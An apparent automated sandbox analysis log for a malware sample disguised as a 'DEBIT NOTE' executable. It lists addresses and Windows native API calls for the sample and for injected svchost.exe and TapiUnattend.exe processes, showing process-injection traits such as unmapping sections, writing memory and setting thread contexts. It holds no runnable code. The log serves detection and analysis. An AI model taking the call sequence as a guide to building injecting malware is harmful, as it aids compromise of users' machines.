            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72D30 NtUnmapViewOfSection,1_2_03C72D30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72CC0 NtQueryVirtualMemory,1_2_03C72CC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72CF0 NtOpenProcess,1_2_03C72CF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72CA0 NtQueryInformationToken,1_2_03C72CA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72C60 NtCreateKey,1_2_03C72C60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72C00 NtQueryInformationProcess,1_2_03C72C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C73090 NtSetValueKey,1_2_03C73090
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C73010 NtOpenDirectoryObject,1_2_03C73010
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C739B0 NtGetContextThread,1_2_03C739B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C73D70 NtOpenThread,1_2_03C73D70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C73D10 NtOpenProcessToken,1_2_03C73D10
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F64340 NtSetContextThread,LdrInitializeThunk,6_2_02F64340
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F64650 NtSuspendThread,LdrInitializeThunk,6_2_02F64650
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62AF0 NtWriteFile,LdrInitializeThunk,6_2_02F62AF0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62AD0 NtReadFile,LdrInitializeThunk,6_2_02F62AD0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62BF0 NtAllocateVirtualMemory,LdrInitializeThunk,6_2_02F62BF0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62BE0 NtQueryValueKey,LdrInitializeThunk,6_2_02F62BE0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62BA0 NtEnumerateValueKey,LdrInitializeThunk,6_2_02F62BA0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62B60 NtClose,LdrInitializeThunk,6_2_02F62B60
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62EE0 NtQueueApcThread,LdrInitializeThunk,6_2_02F62EE0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62E80 NtReadVirtualMemory,LdrInitializeThunk,6_2_02F62E80
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62FE0 NtCreateFile,LdrInitializeThunk,6_2_02F62FE0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62FB0 NtResumeThread,LdrInitializeThunk,6_2_02F62FB0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62F30 NtCreateSection,LdrInitializeThunk,6_2_02F62F30
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62CA0 NtQueryInformationToken,LdrInitializeThunk,6_2_02F62CA0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62C70 NtFreeVirtualMemory,LdrInitializeThunk,6_2_02F62C70
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62C60 NtCreateKey,LdrInitializeThunk,6_2_02F62C60
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62DF0 NtQuerySystemInformation,LdrInitializeThunk,6_2_02F62DF0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62DD0 NtDelayExecution,LdrInitializeThunk,6_2_02F62DD0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62D30 NtUnmapViewOfSection,LdrInitializeThunk,6_2_02F62D30
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62D10 NtMapViewOfSection,LdrInitializeThunk,6_2_02F62D10
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F635C0 NtCreateMutant,LdrInitializeThunk,6_2_02F635C0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F639B0 NtGetContextThread,LdrInitializeThunk,6_2_02F639B0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62AB0 NtWaitForSingleObject,6_2_02F62AB0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62B80 NtQueryInformationFile,6_2_02F62B80
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62EA0 NtAdjustPrivilegesToken,6_2_02F62EA0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62E30 NtWriteVirtualMemory,6_2_02F62E30
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62FA0 NtQuerySection,6_2_02F62FA0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62F90 NtProtectVirtualMemory,6_2_02F62F90
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62F60 NtCreateProcessEx,6_2_02F62F60
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62CF0 NtOpenProcess,6_2_02F62CF0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62CC0 NtQueryVirtualMemory,6_2_02F62CC0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62C00 NtQueryInformationProcess,6_2_02F62C00
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62DB0 NtEnumerateKey,6_2_02F62DB0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F62D00 NtSetInformationFile,6_2_02F62D00
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F63090 NtSetValueKey,6_2_02F63090
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F63010 NtOpenDirectoryObject,6_2_02F63010
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F63D70 NtOpenThread,6_2_02F63D70
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F63D10 NtOpenProcessToken,6_2_02F63D10
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_026B92A0 NtReadFile,6_2_026B92A0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_026B93A0 NtDeleteFile,6_2_026B93A0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_026B9130 NtCreateFile,6_2_026B9130
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_026B9440 NtClose,6_2_026B9440
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_026B95A0 NtAllocateVirtualMemory,6_2_026B95A0
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00431BE8: GetFullPathNameW,__swprintf,_wcslen,CreateDirectoryW,CreateFileW,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_00431BE8
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00446313 DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_00446313
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004333BE
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004096A00_2_004096A0
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0042200C0_2_0042200C
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0041A2170_2_0041A217
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004122160_2_00412216
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0042435D0_2_0042435D
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004033C00_2_004033C0
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0044F4300_2_0044F430
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004125E80_2_004125E8
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0044663B0_2_0044663B
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004138010_2_00413801
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0042096F0_2_0042096F
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004129D00_2_004129D0
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004119E30_2_004119E3
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0041C9AE0_2_0041C9AE
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0047EA6F0_2_0047EA6F
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0040FA100_2_0040FA10
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0044EB590_2_0044EB59
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00423C810_2_00423C81
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00411E780_2_00411E78
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00442E0C0_2_00442E0C
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00420EC00_2_00420EC0
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0044CF170_2_0044CF17
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00444FD20_2_00444FD2
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0433C6080_2_0433C608
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004185D31_2_004185D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004100331_2_00410033
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040E0B31_2_0040E0B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004011B01_2_004011B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004022B01_2_004022B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0042ECD31_2_0042ECD3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004025C01_2_004025C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040FE131_2_0040FE13
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004167C31_2_004167C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00402FA01_2_00402FA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004167BE1_2_004167BE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4E3F01_2_03C4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D003E61_2_03D003E6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFA3521_2_03CFA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC02C01_2_03CC02C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE02741_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF81CC1_2_03CF81CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF41A21_2_03CF41A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D001AA1_2_03D001AA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC81581_2_03CC8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C301001_2_03C30100
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDA1181_2_03CDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD20001_2_03CD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3C7C01_2_03C3C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C647501_2_03C64750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C407701_2_03C40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5C6E01_2_03C5C6E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D005911_2_03D00591
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C405351_2_03C40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CEE4F61_2_03CEE4F6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF24461_2_03CF2446
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE44201_2_03CE4420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF6BD71_2_03CF6BD7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFAB401_2_03CFAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3EA801_2_03C3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A01_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D0A9A61_2_03D0A9A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C569621_2_03C56962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E8F01_2_03C6E8F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C268B81_2_03C268B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4A8401_2_03C4A840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C428401_2_03C42840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C32FC81_2_03C32FC8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBEFA01_2_03CBEFA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB4F401_2_03CB4F40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C82F281_2_03C82F28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C60F301_2_03C60F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE2F301_2_03CE2F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFEEDB1_2_03CFEEDB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C52E901_2_03C52E90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFCE931_2_03CFCE93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40E591_2_03C40E59
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFEE261_2_03CFEE26
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3ADE01_2_03C3ADE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C58DBF1_2_03C58DBF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4AD001_2_03C4AD00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDCD1F1_2_03CDCD1F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C30CF21_2_03C30CF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0CB51_2_03CE0CB5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40C001_2_03C40C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C8739A1_2_03C8739A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2D34C1_2_03C2D34C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF132D1_2_03CF132D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5B2C01_2_03C5B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE12ED1_2_03CE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5D2F01_2_03C5D2F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C452A01_2_03C452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4B1B01_2_03C4B1B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C7516C1_2_03C7516C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2F1721_2_03C2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D0B16B1_2_03D0B16B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CEF0CC1_2_03CEF0CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C470C01_2_03C470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF70E91_2_03CF70E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFF0E01_2_03CFF0E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFF7B01_2_03CFF7B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF16CC1_2_03CF16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C856301_2_03C85630
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D095C31_2_03D095C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDD5B01_2_03CDD5B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF75711_2_03CF7571
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C314601_2_03C31460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFF43F1_2_03CFF43F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB5BF01_2_03CB5BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C7DBF91_2_03C7DBF9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5FB801_2_03C5FB80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFFB761_2_03CFFB76
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CEDAC61_2_03CEDAC6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDDAAC1_2_03CDDAAC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C85AA01_2_03C85AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE1AA31_2_03CE1AA3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFFA491_2_03CFFA49
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF7A461_2_03CF7A46
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB3A6C1_2_03CB3A6C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C499501_2_03C49950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5B9501_2_03C5B950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD59101_2_03CD5910
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C438E01_2_03C438E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAD8001_2_03CAD800
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C03FD21_2_03C03FD2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C03FD51_2_03C03FD5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C41F921_2_03C41F92
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFFFB11_2_03CFFFB1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFFF091_2_03CFFF09
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C49EB01_2_03C49EB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5FDC01_2_03C5FDC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C43D401_2_03C43D40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF1D5A1_2_03CF1D5A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF7D731_2_03CF7D73
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFFCF21_2_03CFFCF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB9C321_2_03CB9C32
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeCode function: 5_2_0450A3E55_2_0450A3E5
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeCode function: 5_2_0450A4345_2_0450A434
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeCode function: 5_2_0452B0545_2_0452B054
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeCode function: 5_2_045149545_2_04514954
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeCode function: 5_2_0450C1945_2_0450C194
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeCode function: 5_2_04512B445_2_04512B44
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeCode function: 5_2_04512B3F5_2_04512B3F
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeCode function: 5_2_0450C3B45_2_0450C3B4
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FB02C06_2_02FB02C0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FD02746_2_02FD0274
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F3E3F06_2_02F3E3F0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FF03E66_2_02FF03E6
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FEA3526_2_02FEA352
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FC20006_2_02FC2000
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FE81CC6_2_02FE81CC
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FF01AA6_2_02FF01AA
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FE41A26_2_02FE41A2
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FB81586_2_02FB8158
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FCA1186_2_02FCA118
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F201006_2_02F20100
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F4C6E06_2_02F4C6E0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F2C7C06_2_02F2C7C0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F307706_2_02F30770
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F547506_2_02F54750
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FDE4F66_2_02FDE4F6
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FE24466_2_02FE2446
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FD44206_2_02FD4420
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FF05916_2_02FF0591
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F305356_2_02F30535
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F2EA806_2_02F2EA80
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FE6BD76_2_02FE6BD7
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FEAB406_2_02FEAB40
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F5E8F06_2_02F5E8F0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F168B86_2_02F168B8
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F3A8406_2_02F3A840
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F328406_2_02F32840
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F329A06_2_02F329A0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FFA9A66_2_02FFA9A6
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F469626_2_02F46962
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FEEEDB6_2_02FEEEDB
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F42E906_2_02F42E90
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FECE936_2_02FECE93
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F30E596_2_02F30E59
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FEEE266_2_02FEEE26
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F22FC86_2_02F22FC8
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FAEFA06_2_02FAEFA0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FA4F406_2_02FA4F40
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F50F306_2_02F50F30
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FD2F306_2_02FD2F30
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F72F286_2_02F72F28
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F20CF26_2_02F20CF2
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FD0CB56_2_02FD0CB5
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F30C006_2_02F30C00
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F2ADE06_2_02F2ADE0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F48DBF6_2_02F48DBF
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FCCD1F6_2_02FCCD1F
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F3AD006_2_02F3AD00
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F4D2F06_2_02F4D2F0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FD12ED6_2_02FD12ED
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F4B2C06_2_02F4B2C0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F352A06_2_02F352A0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F7739A6_2_02F7739A
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F1D34C6_2_02F1D34C
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FE132D6_2_02FE132D
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FE70E96_2_02FE70E9
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FEF0E06_2_02FEF0E0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FDF0CC6_2_02FDF0CC
